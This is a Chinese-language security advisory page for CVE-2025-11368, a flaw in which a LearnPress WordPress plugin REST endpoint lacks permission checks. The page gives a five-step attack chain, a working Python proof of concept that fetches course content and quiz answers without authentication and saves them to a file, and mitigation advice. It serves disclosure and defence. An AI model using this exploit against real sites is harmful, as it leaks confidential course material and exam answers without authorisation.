IPBUF安全漏洞报告
English
CVE-2025-11368 CVSS 5.3 中危

CVE-2025-11368 LearnPress插件敏感信息泄露漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-11368
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LearnPress WordPress LMS Plugin

相关标签

敏感信息泄露权限绕过REST APIWordPress插件漏洞LearnPress LMS未授权访问CVE-2025-11368

漏洞概述

LearnPress是WordPress平台上广受欢迎的学习管理系统(LMS)插件,为用户提供创建和销售在线课程的功能。该插件在所有版本直至4.2.9.4存在一处严重的安全漏洞,由于REST API端点缺少权限验证检查,导致未经身份认证的攻击者可以访问本应仅限管理员查看的敏感教育内容。攻击者只需提供有效的数字ID即可通过API调用获取管理员级别的课程材料,包括课程HTML内容、包含正确答案的测验题目、课程文档等机密信息。此漏洞无需任何用户交互或特殊权限即可被利用,对使用该插件的教育平台和在线课程网站的机密性造成威胁。

技术细节

漏洞根源在于LearnPress插件的REST API控制器中,`/wp-json/lp/v1/load_content_via_ajax`端点缺少必要的用户能力检查(capability checks)。该端点设计用于通过AJAX方式加载内容,但实现时未能正确验证请求者是否具有管理员权限。攻击者可以通过构造特定的REST API请求,传递有效的数字ID(如课程ID、测验ID等)作为参数,触发端点回调执行本应受保护的管理员模板方法。具体来说,端点代码在第23行和第41行(参考WordPress插件仓库)的位置存在权限验证缺陷,允许任意未认证用户调用`load_content_via_ajax`方法,该方法随后会执行业务逻辑并返回敏感内容。攻击者利用此漏洞可获取:(1)管理员课程的完整HTML内容 (2)测验题目及其正确答案 (3)课程教材和下载材料 (4)其他教育相关的敏感数据。由于API返回的是服务端处理后的数据,攻击者可以绕过前端访问控制直接获取后端存储的完整内容。

攻击链分析

STEP 1
步骤1
扫描目标WordPress站点,确认安装了LearnPress插件且版本<=4.2.9.4
STEP 2
步骤2
访问站点获取有效的课程ID、测验ID或其他数字ID资源标识符
STEP 3
步骤3
构造针对/wp-json/lp/v1/load_content_via_ajax端点的GET请求,携带目标资源ID和类型参数
STEP 4
步骤4
发送未认证请求,绕过权限检查触发admin-only模板方法执行
STEP 5
步骤5
接收响应,提取泄露的管理员课程HTML、测验答案、课程材料等敏感内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-11368 PoC - LearnPress Sensitive Information Disclosure # Target: WordPress site with LearnPress plugin <= 4.2.9.4 target_url = "http://target-wordpress-site.com" # Endpoint vulnerable to information disclosure endpoint = "/wp-json/lp/v1/load_content_via_ajax" # Payload to retrieve course content (need valid course/quiz IDs) # Replace COURSE_ID with actual course ID found on the site course_id = "1" # Example course ID params = { "id": course_id, "type": "course" # Can be 'course', 'quiz', 'lesson', etc. } url = f"{target_url}{endpoint}" print(f"[*] Sending request to: {url}") print(f"[*] Parameters: {params}") # No authentication required - this is the vulnerability response = requests.get(url, params=params) if response.status_code == 200: try: data = response.json() print("\n[+] Vulnerable! Received response:") print(json.dumps(data, indent=2, ensure_ascii=False)) # Save sensitive data with open(f"cve-2025-11368_course_{course_id}.json", "w") as f: json.dump(data, f, indent=2, ensure_ascii=False) print(f"\n[+] Data saved to cve-2025-11368_course_{course_id}.json") except: print("\n[+] Response received (not JSON):") print(response.text[:1000]) else: print(f"\n[-] Request failed with status: {response.status_code}") # Example: Enumerate quiz questions with correct answers quiz_id = "1" params_quiz = { "id": quiz_id, "type": "quiz" } print(f"\n[*] Attempting to retrieve quiz questions...") response_quiz = requests.get(url, params=params_quiz) if response_quiz.status_code == 200: print("[+] Quiz data retrieved - may contain correct answers!")

影响范围

LearnPress WordPress LMS Plugin < 4.2.9.4
LearnPress WordPress LMS Plugin <= 4.2.9.4
LearnPress WordPress LMS Plugin 4.3.0 (已修复)

防御指南

临时缓解措施
如果无法立即升级,可临时禁用REST API功能或通过Web应用防火墙(WAF)规则限制对/wp-json/lp/v1/*端点的访问。同时建议审查现有课程内容,评估敏感信息泄露范围,并在管理后台限制公开课程内容的详细程度。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表